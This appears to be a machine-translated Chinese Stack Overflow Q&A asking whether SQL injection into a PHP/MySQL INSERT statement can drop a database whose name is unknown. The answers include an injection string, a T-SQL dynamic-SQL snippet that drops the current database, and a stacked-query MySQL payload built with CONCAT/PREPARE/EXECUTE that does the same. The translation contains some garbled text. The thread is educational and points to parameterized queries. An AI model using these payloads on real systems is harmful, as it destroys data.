在SQL注入中使用嵌套的SQL子查询

时间:2018-08-26 15:19:25

标签: php mysql sql-server database sql-injection

这个问题刚刚浮现在我的脑海,无法在任何地方找到它,因此认为这是最好的提问地点。这只是出于教育目的。我使用适当的卫生设施,但没有为我的真实数据库提供DROP许可。

我们假设一个具有所有权限的数据库和一个具有三个值的简单插入查询

INSERT INTO test(a,b,c) VALUES('$a','$b','$c');

上面的查询容易受到sql注入的攻击。<​​/ p>

假设用户输入为

  • a',(选择DATABASE()),'a')-
  • begone2
  • begone3

查询结果如下:

INSERT INTO test(a,b,c) VALUES('a',(select DATABASE()),'a')-- ','begone2','begone3')

上面的查询将执行并将数据库名称插入表中,但是我的问题是攻击者是否可以在不真正知道数据库名称的情况下删除数据库?,查询如下:

INSERT INTO test(a,b,c) VALUES
('a',(DROP DATABASE (select DATABASE())),'a')-- ','begone2','begone3')

我尝试运行上述查询,并引发错误。该查询出了什么问题?

3 个答案:

答案 0 :(得分:2)

  

我的问题是,攻击者是否能够在不真正知道数据库名称的情况下删除数据库?

对此的快速答案是,这就是为什么我们应该使用参数而不是使用字符串来填充字符串,并尽我们所能避免动态SQL。

恶意用户可以使用 DB_Name() 功能获取数据库名称,

SELECT DB_NAME();

下面是一个不知道她的名字就删除数据库的示例:

DECLARE @SQL NVARCHAR(MAX);

SET @SQL = (SELECT N'USE master; 
ALTER DATABASE '+ DB_NAME() +' SET OFFLINE WITH ROLLBACK IMMEDIATE;
DROP DATABASE ' + DB_NAME() + ';');

EXECUTE sp_executesql @SQL;

答案 1 :(得分:1)

  

此查询出了什么问题?

INSERT INTO test(a,b,c) VALUES
('a',(DROP DATABASE (select DATABASE())),'a')-- ','begone2','begone3')

此查询有两个问题。

  1. 您不能将DROP DATABASE放入子查询中。子查询必须是SELECT语句并具有结果集(在您显示的示例中,它必须是一列,一行的结果集)。

    对于它的价值,也不允许您在子查询中使用INSERT / UPDATE / DELETE。

  2. DROP DATABASE不接受子查询的结果作为其参数。语法DROP DATABASE接受数据库标识符(名称),而您不能DROP DATABASE”。子查询的结果始终是数据值(例如字符串和数字),而不是标识符。

    与此查询比较:

    SELECT a, b, c, (SELECT x FROM table2)
    FROM table1
    

    子查询返回列x的值。如果x的值是字符串值'd',则不会导致外部查询返回标识为table1.d的列的值。它返回文字字符串“ d”。

通常,SQL不允许您将数据值用作标识符。数据库名称,表名称和列名称必须在解析查询之前在查询中明确写入。为了使标识符动态化,您必须运行两个查询,即在创建第二条SQL语句时使用第一个查询的结果。

答案 2 :(得分:1)

  

攻击者将能够删除数据库而无需实际   知道数据库名称吗?

是的。假设使用MySQL,请参见以下PHP代码:

$a = "','',''); SET @sql = CONCAT('DROP DATABASE ', DATABASE()); PREPARE stmt FROM @sql; EXECUTE stmt; -- ";
$b = null;
$c = null;
$sql = "INSERT INTO test(a, b, c) VALUES('$a','$b','$c');";
echo $sql;

它将创建以下MySQL语句:

INSERT INTO test(a, b, c) VALUES('','',''); SET @sql = CONCAT('DROP DATABASE ', DATABASE()); PREPARE stmt FROM @sql; EXECUTE stmt; -- ','','');

尝试执行上述SQL将删除当前数据库。